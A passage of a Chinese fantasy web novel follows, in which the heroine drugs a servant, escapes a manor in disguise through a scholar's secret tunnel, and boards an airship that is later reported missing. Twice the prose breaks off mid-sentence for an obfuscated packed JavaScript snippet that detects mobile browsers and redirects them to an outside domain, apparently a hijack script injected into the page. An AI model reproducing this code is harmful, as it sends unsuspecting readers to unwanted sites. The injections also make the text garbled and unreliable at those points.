“怕什么,她哪天醒得过来?再说,这样不是更刺激吗?你难道不喜欢?”男仆笑着。两人都轻笑起来,啧啧地吻到一起。 “我现在配合你,一会儿你可要帮我守岗啊。天天伺候这个傻子,我都快累瘫了……”女仆又嘟囔着抱怨。 “我用世上最真的爱起誓……我办事你还不放心么……” 加茜娅边听边思索,很快在心里设好了计划。她走到更衣室里,拉开柜门翻找。满墙的衣柜里堆满珠光宝气的奢侈品牌定制裙子、首饰鞋包,绝大部分都没试过,甚至也没印象。 她捡出一对金属片耳环,用它们割扯着昂贵的魔兽皮手提包,将撕下来的兽皮片卷成一条长管。露台上的茶几储物槽里还有一些烟盒,里面是自燃烟。 加茜娅把金属片折弯成碗装,用来盛放宁睡粉,支在固定于门口的自燃烟上加热,再把兽皮导管罩在粉末上方,一路引流倒门缝之外。 这样,一个简易的催眠装置就做好了。 她觉得自己动作挺快,但似乎没快过门口偷.情的仆人。女仆早已离开,只剩下男仆,发出轻微起伏的呼噜声。 袅袅烟起,金属片左右摆定,受灼烧的弧口泛出一圈橙黄蓝紫的温变色晕。 为了防止对方中途醒来,加茜娅还是在燃烟后耐心地等了片刻。 期间,她蹲到露台上观察了一下庭院里守卫们的换班和巡逻进度。至于路线和规律,早在他们入驻庄园时,她就已熟记于心。 估摸着男仆已进入深度催眠,加茜娅悄悄地打开门,从缝里四下张望一番,随后将门缝拉大,迅速地把倒在地上的男仆拖进卧室、关好门,扒下他的衣服套在自己身上,再把他裹进被子里推到床上,装作是自己缩着睡的形状。 临走之前,加茜娅回头看了眼布置如常的卧房,闪身又钻进更衣室,抓起一把珠宝放进兜里带走。她不打算带包或其它大件物品,那样不便于伪装逃脱。 加茜娅在走廊里躲躲藏藏地打探几番后,再次溜入自己此前的房间。 她熟练地打开衣柜拿出箱子,先把手枪插到口袋里,再喝下小半瓶变性伪装药水,往角落立镜处转过身,看到自己从头到脚,都已变成男性模样。 最后,将月光石戒指捡起来,扭动宝石盖。盖子内的魔纹与底部齿轮魔纹重合,白光亮起,箱内余下所有物品都消失无踪,进入空间戒指之中。 只是……为什么手里多出了一把糖果? 加茜娅犹豫了下,将糖装进另一个口袋。她猜测,这是空间戒指特有的“代偿机制”。每存入新物,就会将旧物自动替换排出。 只是这些糖,会是谁留下的?……不记得了,头脑一片混沌。 来不及多想,她听见外边传来上楼梯的脚步声!飞快藏到门后。那脚步停了一会儿,朝另一个方向走去。 加茜娅从门缝中转眼打量,确认人已离开,才猫着腰钻出去,正要往楼梯口走—— “喂!” 背后传来喊声。似乎是个夜间巡逻的男仆,刚刚上楼的那位。 “克威尔?你怎么不好好守在你的岗位上!” 加茜娅身体僵住,但很快灵机一动,背对着他,不慌不忙地走楼梯,刻意压低声、带出夸张的气音:“她睡死了!放心!我只是去庭院里透口气,一天到晚看着个傻子太闷了!” “哈哈!恐怕是去和你的新情人幽会吧!”那声音讥笑着喊道,“悠着点,别待会儿倒在草丛里爬不起来,被那群呆头大兵抓住就好玩啦!” “那就走着瞧吧!替我保密啊兄弟!” 背后一阵了然的笑声,逐渐远去。 加茜娅抹了把额头的汗,迎面正好有风吹过,凉飕飕打了个寒战。 她算好守卫们经过的时间,一路钻树林、伏草地,东张西望地摸至小溪边,往最近的隔离围栏跑。 冰冷的溪流没过小腿。加茜娅低头,看到脚下是森森的卵石,水里浮动着自己的影子,月光的碎片,还漂走了一片细黑的蚂蚁。 麻木侵袭,加茜娅有点感知不到手脚的存在了。但她比以往任何时候更耳聪目明,因此能不断调整动作轻重、隐匿行踪。 溪流侧前方有条幽静的步道,隔着树林断续隐现。那曾是她与庄园主人牵着手、无言散步的地方。 而现在,此地似被一对新的爱侣占据,咿呀哦哟个不停,晃得枝摇叶颤、汗发交缠,全未察觉有人靠近。 最不妙的是,他们正好就挡在加茜娅要走的路前! 加茜娅盯着这两条白里泛红的肉躯沉思数秒,当机立断地捧起一把溪水,踏上草地,将遍地枯叶树枝“咔嚓咔嚓”踩过去,同时嘴里轻轻哼歌。 那爱侣二人忽地停住,凝神望来:只见不远处来了个男仆,岔起两腿背对他们,正面朝一棵大树,哼着小调儿,噼里啪啦地撒尿! 偷.情的女人倒抽一口气,男人则低声骂了句脏话。 很快,水声停下,“男仆”提起裤子,颠臀抖两抖,就要转过身来—— 原先被压出一团轮廓的矮灌木丛里,早已没了人影。 加茜娅用余光一扫,确认他们已经逃远,立刻俯身钻进灌木,顾不上枝桠抽打在脸上手上,只没命地撒腿狂跑。 最后途径的地方,是藏书阁。这是阿纳鲁为了她看书的喜好,斥巨资、辅以魔导科技,甚至不惜调动军部运输专列作私人用途,以短短数日时间建造而成的。 两人相处最和谐时,他也曾郑重地说过,这比不上他对她感情的万分之一。加茜娅说不清心里什么滋味,总之此时此刻,怨愤和惧怕占了上风。 或许他们还没来得及袒露心声,就已背对背地走远了。 她放下杂念,抬头看去。此阁位于整座庄园的最西侧边角,是一幢红砖灰泥、复古风格的高挑尖顶建筑,其侧修有一栋与之相连的两层石砌楼,专供矮人族古籍鉴赏家,玛丽莎·灰檀居住。 为了表示对这位大名鼎鼎的老教授的尊敬,庄园特批予一条专用通道,关闭魔纹屏障,以供她自由出入。因此,这里就是加茜娅计划潜逃的最佳突破点。 玛丽莎的花园里种满了小灌木与圆叶的斑纹香草,夜风吹过,芳气扑鼻。加茜娅蹑手蹑脚地翻过矮栅栏,将自己的脚步声与风拂草叶的声音重合在一起。 石楼窗户里亮着灯。玛丽莎·灰檀竟还没有入睡。 不仅没有入睡,那窗里的影子竟还缓缓地向她转来! 玛丽莎发现了她。 加茜娅隔着打开的窗户与她对视,一时间谁也没动。 这位一百多岁的矮人老太太,身材圆壮、骨节粗大,驼背极深,头发全白,用一根灰色檀木簪紧紧挽起发髻,丝毫碎发都不漏下。 “加茜娅,你好久不来了。”玛丽莎摘下眼镜,微微笑道。她的皮肤深褐发红,笑起来皱纹团团纠起;一双眼睛依旧清澈,似乎对世间任何离奇的事情都不会感到意外。 ……怎么会? 加茜娅惶恐地摸上自己的脸,又看向失去伪装魔法效果的手……药水已经失效了! 在意识到这件事的瞬间,加茜娅从口袋里拔出枪对准了她:“不要叫。” 玛丽莎也终于看清加茜娅的打扮:灰蓝色庄园男仆制服,软呢小圆帽,裤腿因尺寸不合而显得略微肥大。这样的装束,怎会出现在庄园女主人身上? 两人安静地对视了足足五秒。 “我明白了。”玛丽莎叹一口气,慢悠悠地打开门,“孩子,别怕,跟我来吧。” 加茜娅警惕地检视了一遍,确定她身上并未藏匿任何武器,看起来也不打算大声喊叫,只是单单地以一种近乎悲伤的目光看向自己。 “对不起,我有不得已的理由。”加茜娅低下枪口,但依然握紧枪把,朝玛丽莎走去,“我需要借您外出的通道一用。如果可以,请当我从未来过此地。这也是为了您好。” “我还以为你要说,当我们从未认识过呢。”玛丽莎转身对着她,习惯性地将双手背到身后,小步稳健地往屋里走。 加茜娅有些内疚地跟上去,沉默不语。她知道,只要是玛丽莎亲手放自己离开,那么她就绝不能声张此事,否则必然背上重大责任。 “不再陪我说说话吗?这也许是我们最后相处的机会。” “……我想问问,您为什么帮我?” 加茜娅虽进了门,仍与这位身高不到自己胸口的老太太保留着距离,唯恐她也同庄园内其他人是一伙的。 “我也有我的理由。先请进吧!”玛丽莎转动壁炉旁矮柜上的一本书,火焰忽地一闪,墙面微微颤抖,随即从炉边错开一道半人高的缝隙。 加茜娅迟疑了一下,攥紧手中银小姐的枪把、弯下腰,扶着墙缝上凸起的石栏,一步步跟着她走进那条黑暗的甬道。 四周很快亮起夜明珠微蓝的光芒。空洞的走廊步道先是一路向下,再向前延伸,最后逐渐拾级而上,通往庄园外某个早间热闹的小市场。 此地原为工匠修缮藏书阁时所设的便捷运料、逃生用通道,因玛丽莎名声在外、年岁又高,遂有人提议保留、以作佳话——庄园管家也乐意顺水推舟,毕竟谁会怀疑一个半退休的矮人老太太呢? 玛丽莎先同她聊了几句近日生活状况,见加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15363709|158378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茜娅不愿坦白,只得惋惜地苦笑一声:“可爱的小石子儿!我赞同你的警醒,请一直这样保持下去吧。” “……”加茜娅心中也有不忍,但事关重大,她不敢轻易交待实情。 “还记得我同你提到过的,我的家乡吗?”玛丽莎忽然转开话题。 加茜娅迅速反应:“记得。即便您不提,大家也都知道。您来自乌尔顿火山底的矮人族系……”她停了声,似乎意识到什么。 “对,乌尔顿山脉。这次引发东部战争的地动源,战区核心。我许多年没有回去过了。”玛丽莎叹道,“我不知道,你还有没有看新闻的习惯。但我今天看到一则消息……东部边境战区的所有物价,被哄抬了十倍不止。” 加茜娅一愣,立刻想起:阿纳鲁此前接手的,正是战区物资调度。也就是说,之前踏破庄园门槛、寻求合作渠道的那些权贵,还有那堆积成山的礼物,都是为了这则消息背后的战争暴利。 她再度沉默了,心脏又剧痛起来。不知道为谁。 “我现在发现,自己真不该来到这里……我总有一天会被族群议会问责的。就算不是现在,也会是未来,停战后的某一天。我活着,可今后每一天,都要等待罪名的降临。” 她絮絮地说着不吉利的话,仿佛已经看到了阿纳鲁·蒙格马利的倒台似的! ——确实,这谁也说不好。 “那您不想走吗?要不要和我一起?”加茜娅问。 玛丽莎的背影停住了。她沉默一会儿,摇摇头,苦笑着继续往前走: “亲爱的,你想得太简单了。你只有一个人,可我不是!许多事非我情愿。 “我有个同行劝的是对的,我们这种做学问的人,本不该离政治太近;越是迷眼的富贵,越有滔天的代价…… “代价是我站定立场就再不能脱身,是我即便死后也没有了清白。” 眼前的门被打开,月光照下来,映在玛丽莎含泪的眼睛里。 “可是此时此刻,我的小姐……”她转过身,双手颤抖,“您让我觉得,我是清白的!” 加茜娅的手被她紧紧握住,便也觉得眼中有些酸涩。 “跟我一起走吧!我有办法带上您离开中州,然后您就可以……”加茜娅哽住,因为她也知道,玛丽莎无处可去。 “我的小姐,您自己走吧……我真担心,您只有一个人。这好,也不好。”玛丽莎摇了下头,松开她的手,“但是很多的路,不走到跟前,不走下去,谁也不知道有没有。您的路还长着呐!我看得见它的长!” 加茜娅弯腰垂头,想用力拥抱玛丽莎。可是玛丽莎躲开了,只是拍拍她的手臂:“矮人族的离别祝福可不会拥抱!我们尊重独自前行的勇士。” 她突然后悔,刚才为什么不多和玛丽莎聊几句。但时间已经太晚了,什么都来不及了。必须抢在被发现端倪前逃走—— 加茜娅猛地想到个问题: “今天是几月几号?” “今天是二月四号。如果没记错的话,资源署今天该有几批启程离开的勘探师队伍……”玛丽莎回复,“中州的关卡只在固定的几个小时内开启,您必须抓紧时间了。” 加茜娅抬起头,望向越来越淡的半片月亮。她向玛丽莎告别,深深鞠躬。 玛丽莎站在通道口,抬头仰望她,随后伸出双手,按在自己额头、心口中央,再伸向加茜娅,五指展开向上,如同托起看不见的重量。 她低声念出祝祷词: “黑岩之神祝福您,心中火种不熄,脚下长路不断。 玛丽莎·灰檀祈愿:有朝一日,我们还能重见,重新坐在一起—— 讨论位面的秩序,海洋的循环,地火的衰竭; 不灭的星群,和乌尔顿山脉上长生的神鹫。 ……如果那时我们还记得彼此的名字。” . 清晨,雾气笼罩中州。 州际通行关卡前,聚满了今日等待放行的队伍。连绵的高塔与飞艇滑轨隐入灰蓝天色,各处蒸汽喷阀轰鸣不止。浓重的金属和热油味弥漫在空气中。 卢克西斯站在舷梯前,迟迟回望关卡通道入口处。风卷起资源署黑色制服斗篷的下摆,同他脸侧的短发、耳上的骨饰一同向后扬起。 “你在看什么?我们该走了,快到我们过关卡的时间了!”半精灵乔纳森站在他身后问。几番集训下来,他已然有了同这位冷脸人开玩笑的习惯。 仿佛应着他的话一般,蒸汽飞艇的发动装置传来隆隆声响。 “你不会也想等那位‘少将的玫瑰’吧?”乔纳森阴阳怪气地调侃,“劝你别妄想了!都这么多天了,人家明面上说是生病不来,实际早就辞职享福去了,没准现在正在温暖的海滩上,搂着几个穿裤衩的帅男孩晒太阳呢!大家都遗憾,可是都没办法嘛!” “闭嘴。”卢克西斯瞟他一眼,“你先上去,我待会有话问你。” 乔纳森背着手,啧啧地摇头,上飞艇了:“哈!架子不小。你有本事别跟我们走,待会儿自己想办法偷渡出来吧!” “快上来!我们要过关了!”飞艇上也有人喊。 他停留片刻,低头不知想了些什么,终于转身往舷梯走。 . 这天早上,庄园的守夜男仆克威尔,被人从少将未婚妻的床上挖了出来。 管家带领一众看好戏的仆人们,气势汹汹地冲到房内——给了睡梦中的克威尔一个大嘴巴子! “啪!” 克威尔两眼迷迷瞪瞪,犹然淌着涎水捂脸嬉笑:“亲爱的,我不是那个意思……” “谁是你亲爱的?”管家青筋暴起,怒喝道,“给我把他架起来!泼冷水!” 克威尔终于清醒了,看看四周,再看看自己身上的女士睡衣,最后愣愣地对上管家充血突起的眼眸,终于明白:自己或许闯了大祸。 “战事在前,我们先不要惊动主人那边。”管家审讯完毕、冷静下来,意识到自己也与这桩糊涂案子脱不了干系。 他召集庄园内所有仆人和守卫,发下紧急命令: 兵分三路!庄园内和庄园外各分两队,地毯式搜索加茜娅行踪;还有一队由自己亲自率领,即刻踹开资源署大门,勒令他们,叫停所有今日启程的勘探师项目! “如果已经出发……就以最快的速度,叫中州通关署拦截那架飞艇!” 39.Chapter 39. 骑风者 中州通关署,飞艇站区已然拥堵为患。这正是出入关的早高峰时节。 天将亮未亮,下了点小雨。四处浓雾密布,偶或露出黑铁和黄铜色建筑群影子、纵横相连的排气管道与桥梁,高低错落的广告灯牌、连串的橙金光点。一切形体朦胧不明,晦暗难分,忙而有序地运行。人声笛鸣与齿轮的转动碌碌无休。 此时,就从那滚腾升起的灰白蒸汽中,跑出一个披黑雨衣的影子,在人群密流里横冲直撞,开出一条显眼的路径来。 加茜娅捂紧了早市上临时买的雨披,埋头只顾跑。她拨开各式各色、高矮胖瘦的背影,如游鱼钻入水藻,四面受围;才进几步,身后的路便转瞬合拢。 头顶掠过成群的巨大飞艇。铺天盖地的蒸汽从无数管道中汹涌喷薄而出,缭绕着盘旋的悬浮轨道,舰艇群在其间穿梭滑动。 她不断地左右环顾,辨识指示牌,掐好时间挤进不同的摆渡列车和直升梯。各处滚动公告栏上都写着航班次序:资源署前往西高地中转站的大型蒸汽艇,已进入登轨程序。 ——必须赶在庄园联络上中州通关署之前,乘上飞艇离开! 喘息间,加茜娅感到眼前一幕似曾相识:她好像总在不知疲倦地奔跑,跑在藤萝密布的灌木草丛间,雷鸣暴雨之夜的工厂河畔,还有永远热气弥漫的拥挤马路上。 她把这些画面通通甩在身后,跳上最后一级台阶,沿悬空栈道边缘、扶着栏杆往前挤。周围骂声成片,但很快就淹没在杂乱的喊话和指令声中。 狂风夹杂了雨点击打脸颊。加茜娅站在数百米高的空中塔楼上,衣袖往后猎猎扬起。她顶着风眯起眼,看到那架写有资源署“RWH-017”编号的大型飞艇,正缓缓地驶离塔台,即将进入滑行轨道区! “等一下!”她大声喊着冲过去。 两名哨卫跑上来揽住她:“小姐!您不可以过去!” 加茜娅抬起头,眼睁睁看着巨大的银灰色飞艇穿梭在林立的高塔之间,像是鲸鱼掠过浮游生物,即将摆尾远去了。 她下定决心、后退一步,佯装放弃挣扎的姿态,等那两名横挡着手臂的哨卫放松警惕,便矮身一钻,直接跳下塔台、踩住了凌空的轨道! . 卢克西斯穿过飞艇底部狭长的走廊,抵达驾驶舱旁的监控室。他在航班启动之前坐下来,准备监控周边元素的流动状态,及时应对异常状况。 接下来是一条试行轨道,他们即将前往航空检查点,经过最后的通关手续后正式起飞。 眼前是整面墙壁的精密罗盘和操控杆,窗外是噼啪的雨点——或许因为高空的缘故,还夹杂了冰雹粒子。但现在已经好多了,阳光渐渐地浮现出来。 飞艇沿着轨道转了个弯,预备起速进入中段。 说不清心里是失落还是释然,总之他漫不经心地朝窗外看去: 白茫茫的云气抚过窗玻璃,露出一截蜿蜒回旋的滑行道。数不清的航站塔楼冒出云端,齿轮群与阀门闪着琥珀色的粼粼光辉。 随着飞艇转向,后方轨道从艇身阴影中脱离……轨道上有个移动的黑点? 那是……那是人! 卢克西斯骇然站起,走至窗边,看向那个小小的黑雨披,一时震惊失声。 此处轨道悬空,意味着距离地面有数百米之高,人行其上,但凡心劲松懈、力殆脚滑,又或是身边一瞬风起、云浪翻涌,就会直接坠落下去摔个粉身碎骨! 正想到风,忽地便是狂风大作,那小黑点被翻飞的衣袍带着倒向一边,眼看着就要被吹离轨道! 那人立刻俯下身趴着,抬起头来。 风吹开云层,吹开她的帽子,吹起她纷纷扬扬的头发。一张熟悉的脸,迎着升起的阳光,雪亮地露出来—— 那是加茜娅?他怀疑自己看错了。 ……那就是加茜娅! “趴着!别动!”卢克西斯瞬间暴吼,用手猛拍玻璃。 “干什么?你疯了?”监控室里的副手们看过来。 “停下!停下!”卢克西斯来不及解释,扭头冲进驾驶舱,“轨道上有人!” 驾驶舱内的哨卫架着枪对准他:“你做什么?离开这里!” “卢克西斯!你没有规矩的吗?”西高地项目组长,高大的半兽人弗雷德转过身怒斥,“我已经纵容了你几次!再这样下去……” “加茜娅在轨道上!立刻停下!” 弗雷德冷笑:“你说什么胡话?就算她真的来了,现在也不可能停!试行道已经走了一半!你把大家的生命当什么?” 卢克西斯半张着嘴,定定地看着弗雷德。 就连他也没意识到,自己的手是什么时候抬起来的。 “嗡——”一声巨大的震颤鸣动,所有人身体向前扑倒。 飞艇……停下了?后方甲板上传来动乱的声响。 “你!你掠夺了动能元素?这太危险了!”弗雷德不敢置信地站起身,“你疯了吗?敢在这里动魔法?你有几个脑袋?” 卢克西斯头一抬,很硬气地顶嘴:“她那样留在轨道上才是危险吧!” 弗雷德气得浑身哆嗦:“你**现在,立刻!马上把掠夺的元素释放回去!” “我没有掠夺,这些能量太多了。”卢克西斯解释,“我只是把它们跟风做了平衡。现在正好风也是停滞的,这不算太危险。”他想了想,转头又补充一句,“如果是掠夺元素,再突然释放,才会导致坠艇。” …… 驾驶舱内的空气静滞数秒。 弗雷德反应过来,怒不可遏:“老子不管你用的什么方法!总之立刻让一切恢复正常!” “可以,只要你打开舱门,降下舷梯让她上来。”卢克西斯一边说着,一边瞥向窗外。那个小黑点正在缓慢地向飞艇靠拢。 这时旁边的副手也劝:“算了吧组长,跟他较什么劲?让加茜娅上来不算什么难事。” “对啊。”舱内附和声一片,连驾驶员和副驾驶都转过头,“她的身份,要是在这里出事,恐怕谁都担不起责任……” 弗雷德阴沉着脸静默片刻,转过身,挥手命人下去开舱降梯。 “……至于你,卢克西斯。”他竭力维持语气平静,“这是我最后一次容忍你不守规矩。现在,回到你的岗位上去。 “记住,你是来监控和解决危险,而不是成为我们的危险!” . 加茜娅好不容易爬进舱门的时候,手脚都已经冻僵,失去知觉。她的头脑时轻时重,怀疑自己是快要生病了,只想立刻躺进房间里喝点热茶。 但组长弗雷德似乎并不打算轻易放过她。 “看起来,‘少将的玫瑰’要变成野玫瑰了?”他抱着手,看着坐在地上喘气的加茜娅,“现在风是停的,我给你一个机会,自己怎么爬过来的,就怎么爬回去。” 加茜娅吃力地转动大脑,慢慢抬起头:“我爬不动了……请让我待在这里……” “你离开这么多天,造成了我们太多损失!按道理,资源署该将你自动除名。” 加茜娅稍微清醒了些,冷静回应:“我有正当的请假理由,而且,据我所知,资源署没有送来任何有关‘除名’的通知文件,无论是勘探分析中心,还是西高地项目组。” “正当理由?谁会在正当理由上写‘归期不定’?”弗雷德冷笑一声,“资源署没有明面惩罚,是看在那位蒙格马利家少将的面子上!” “您说的没错,我回到这里,确实是由他批准的。如果您还愿意给阿纳鲁几分面子,我之后就在他面前,替您说说好话……让您重新回到军部,而且……加官进爵。”加茜娅听懂他的暗示,遂放低了声音,十分客气地摆出她的“倚仗”:既是拉拢,也是威慑。 如她所料,他等的就是这句承诺。加茜娅熟知身边所有人的过往任职。作为一名曾因脾气暴躁而误事、被罚离军队的中校,他不可能安于资源署小小的项目组长之位。 弗雷德摸了摸鼻子,再捋一捋他狮子模样炸起的红色毛发,四处看几眼,招手叫来个哨卫:“……带她去拿资源包,再给她分配一个新房间!重新教一遍她飞艇上的规矩,别再出今天这样的闹剧!” 他竖起一根手指,放在胸口摇了摇:“记住,这是我最后一次容忍你,加茜娅。” . 几分钟后,飞艇重新发动。 除了中途打开房门接受通关署的身份检查以外,加茜娅就再没出过自己的房间。她强打起精神,婉言谢绝了哨卫想带她参观飞艇布局的好意: “稍后我们或许会在甲板、阅读室或者晚宴厅相遇呢,何必急这一会儿?”她如是打发走那位总盯着她瞧的哨卫,“要是您方便的话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15384277|158378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帮我送点热水,我会记住您的善良!” 加茜娅取完一桶热水,喝了一些,又浸湿毛巾,给自己洗脸、擦了冰冷发麻的四肢。再三确认好房门落锁后,她就扑到床上趴着不动。 飞艇终于驶离轨道,身下一轻,仿佛灵魂也终于卸下枷锁,轻盈地升了起来。 浑身像散架了般疼痛,意识忽而清醒忽而朦胧远去。加茜娅半梦半醒地,感到自己一会儿漂浮在海面上,一会儿沉浸到海里,无限地往深渊坠去。 她蓦地惊醒,睁眼发了会儿呆,想起自己还有许多事要做,于是托着沉沉的脑袋,不顾浑身酸痛坐起身,一边打量房内布置,一边细细盘算起来。 这是一个格局紧凑而功能齐全的独立单人间,位于飞艇内部的二楼角落,离甲板很近。墙面是暗棕色实木加固金属板拼接,带铆钉纹饰,横列几个金属圆圈的小舷窗,配深红地毯,整体为暖配色,再加上墙角中央供暖的恒温热水管,令刚受完冻的她舒服了许多。 房内有一张小床、可折叠桌椅、挂墙储物柜和独立卫浴间。部分设施配备魔导科技,以不影响飞艇运行的魔纹波动,向乘客提供自动感应的温水、换气和警报装置。 桌上放置着还未打开的勘探师装备箱和资源包。加茜娅走过去,拉开椅子坐下查看: 装备箱带有挂带,便于外勤勘探携带。里面都是加茜娅熟悉的用具,每件物品都有编号标贴:资源署派遣正式任务函、勘探分析师个人身份牌,一盒定位坐标用的元素信标针,插地式能量探测仪,取样刀、分类瓶,元素残留侦测试纸,夜视护目镜、防护面罩等。 至于资源包,里面最大的一套是资源署外派项目制服斗篷,内附感应魔纹、报备预警的简单魔法阵。此外,还有一些洗浴用品和笔记本、地图、指南针、应急罐头、水壶、折叠刀、降落伞、迷你医药包等生存必需装备。 加茜娅展开斗篷、裹紧自己,觉得又能安心几分。她转头望向舷窗之外:茫茫暗沉一片,什么也看不到。似乎一觉睡到了晚上。 她就这样离开中州了。离开了那个被称为“安全区”的地方,即将要穿过动荡的堪德雷特州和伊瑟尔州,深入西部新大陆,面对不可预测的天灾和毫无限制的魔法波动。 预想之中,她应该欣喜若狂,但实际上,她很平静,脑子里只想着接下来要怎么做。 加茜娅打开地图:根据计算,他们现在应该刚驶离中州不远,说不定就处在石洼镇上空,詹姆斯的家乡那里……詹姆斯,阿纳鲁,拉斐尔,米拉和莫伯斯,还有那些密如蛛网的阴谋斗争……这些全都远去了,她小半生的爱恨情仇远去了,只有腰侧沉甸甸的“银小姐”还陪着她,仿佛是一个时代的旧信物似的,落有许多故人的影子。 接下来,要计划下一站逃离路线。 空中逃跑不太可行,必须等降落在八号峡谷前、第一个中转补给点的时候,看看有没有机会,并且要提防被“调查员”发现,那是真的可能被枪毙的。 她应该继续找出调查员,要么弄死,要么想办法在逃跑当天绊住对方、瞒过去,但这两种方法难度都很高。还有一个可控些的,是提前暴露乔纳森这个棋子,让调查员误以为抓到了真正的间谍而放松警惕……无非就是做手脚的时候要小心一些。 此外,力所能及的情况下,还要窃取中转站附近最新的动态元素监控信息,可能在驾驶舱,更有可能的是在监控室。这批信息能确保自己后续避开风险、安全行动。 ……还有什么? 加茜娅依然精神不振,并且总觉得自己遗忘了什么事。 她攥紧了斗篷,四下打量房间。现在很安全,安全得令她不适,安全得有些……诡异。 ……为什么没有人来找她? 一下子,浑身的血液都停滞了似的。她无缘无故地发起抖来。 . 中州,资源署内。 “我们已经联络了通关署,他们也反复尝试联系了多次,并且还派出了两轮侦察舰…… “但事实就是这样,恐怕您只能如实汇报给阿纳鲁·蒙格马利少将。 “对……虽然这种事几乎从不发生,但我们不得不遗憾地承认它。 “我们确定,收到的结果是—— “资源署‘RWH-017’号大型飞艇,在离开中州关口后,就失联了。”